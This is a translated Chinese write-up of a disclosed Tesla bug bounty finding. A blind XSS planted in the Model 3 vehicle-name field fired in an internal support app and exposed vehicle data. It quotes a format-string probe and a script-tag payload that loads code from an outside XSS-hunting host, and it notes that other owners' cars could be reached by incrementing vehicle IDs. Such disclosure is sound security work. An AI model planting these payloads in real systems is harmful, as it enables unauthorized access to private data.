*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
能有机会对Tesla Model 3进行安全测试是一件有趣的事,因为Tesla Model 3的内置系统有网页浏览器、免费高级的LTE和用于软件更新的OTA空中无线技术,说白了,它就是一台在飞驰车轮之上的联网计算机。
所以,在今年年初我买了一辆Tesla Model 3,无论摆弄它还是驾驶它,我都乐在其中。新车到手的那几天,我在车库里琢磨了很长时间,试图让它执行一些本不该做的操作,看看有什么漏洞发现,非常幸运,我从中有所发现。
首先,我研究的就是Tesla Model 3的“Name Your Vehicle”(命名你的车辆)功能,该功能允许车主为自己的爱车设置昵称,并将其保存到个人账户中,当车辆推送充电完成等操作通知时,这个车辆昵称可显示在车主的手机端移动应用上。“Name Your Vehicle”功能在以下右上角图示按钮:
刚开始,我把车辆昵称设置为了“%x.%x.%x.%x”,想看看它是否像2011款宝马330i一样存在格式字符串漏洞(CVE-2017-9212),但遗憾的是,没有。
CVE-2017-9212:Bluetooth stack是应用在BMW 330i中的一个蓝牙传输协议,BMW 330i 2011版本中的Bluetooth stack存在安全漏洞,远程攻击者可借助设备名中的 %x或%c格式字符串说明符利用该漏洞造成CD/Multimedia软件崩溃。
我继续把玩“Name Your Vehicle”功能的用户输入点,后来发现它可允许输入内容的长度非常长,于是,我把它命名为了一个XSS Payload-“><script src=//zlz.xss.ht></script>,看看它会否被其它功能调用执行。
接着,我又研究了其内置的网页浏览器,通过载入文件或构造URI,也没能在其上面实现任何可远程实现的操作,但整个过程很有意思。那天晚上我一无所获,就早早收场休息,也忘了把车辆昵称改回来,还是之前设置的那个Blind XSS Payload。
在一次公路旅行中,一块大石头突然从什么地方冒出来,砸裂了我的挡风玻璃。
之后,我在特斯拉手机端APP中预约了一次车检,就又继续日常驾驶了。第二天,我手机邮箱收到了一条XSS Hunter提醒消息,其中提示有人查看了我的XSS Payload,也就是我之前设置的那个XSS昵称 – “><script src=//zlz.xss.ht></script>。这就有意思了不是。
经检查,我发现特斯拉后台存在漏洞的页面URL为:
https://redacted.teslamotors.com/redacted/5057517/redacted
XSS被执行的域为:
https://redacted.teslamotors.com
Referer源页面为:
https://redacted.teslamotors.com/redacted/5YJ31337
也就是说,特斯拉的后台员工在域名“redacted.teslamotors.com” 下,查看了我对挡风玻璃开裂的预约车检时,由于之前我设置了车辆昵称为“><script src=//zlz.xss.ht></script>,因此触发了这个XSS Payload。
XSS Hunter的提醒消息截图显示,经由上述存在漏洞的页面URL,特斯拉后台服务端可以响应显示出一些有关车辆的关键数据信息,并且可以通过增加URL中的车辆标识号(Vehicle ID ),来获取到其它车主名下特斯拉车辆的关键数据信息。这里的的车辆标识号Vehicle ID就是正文中的VIN Number。我猜想,XSS Payload的触发位置可能位于特斯拉的某个车辆管理界面中。
XSS Hunter的截图表明,我这辆车的速度、温度、版本号、胎压、锁定情况、警报等其它具体信息都被显示出来了。如下:
另外,还存在固件、总结监测器、地理围栏位置(Geofence)、汽车配置和代码名称功能等非常有意思的信息标签,如下:
我曾尝试去访问上述漏洞页面中涉及的域名 - “redacted.teslamotors.com” ,但是却显示超时,这样看来它可能是特斯拉的一个内部Web应用。
更有意思的是,我认为特斯拉后台支持人员可能具备向汽车本身发送数据,远程对车辆进行配置更新的能力,我猜该应用可能是基于DOM超链接的方式管理车辆信息,但我没有进行深入测试。不过可以肯定的是,通过增加其中的车辆标识号(VIN)数字,向特斯拉后台发送支持性请求,这样,攻击者可以获取或更改其他车主名下的特斯拉汽车信息。
作为攻击者来说,可以向特斯拉后台提交多种支持性请求,以实现入侵攻破行为做足支撑。但出于对测试和其他车主的尊重,我没有这样做。因为实际上,通过响应信息的DOM结构和JavaScript代码,就可以向特斯拉后台伪造请求,获得我想要的信息。
在开了将近11个小时的车之后,凌晨两点,我精神抖擞地编写完了漏洞报告上报给了特斯拉安全团队。很快,特斯拉就给我回复,漏洞最终被划分为P1重要级,在观点意见交换后,特斯拉在半天之内就推出了更新补丁。
两周之后,特斯拉官方给了我$10,000美金的奖励,并确认这是一个高危漏洞。回顾该漏洞的发现过程,可以算是非常简单,但可以理解的是,有时候一些安全问题总会被忽视掉。虽然则开始我不确定该漏洞的确切影响,但它是有效真实的,至少可允许攻击者查看目标车辆的实时信息,并可能查看到其他车主的相关信息。
2019.6.20 06:27:30 UTC 漏洞上报
2019.6.20 20:35:35 UTC 漏洞分类、推出补丁
2019.7.11 16:07:59 UTC $10,000赏金发放
*参考来源:samcurry,clouds编译,转载来自FreeBuf
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
demonzeus
发表于 2019-8-6
牛
评论列表
加载数据中...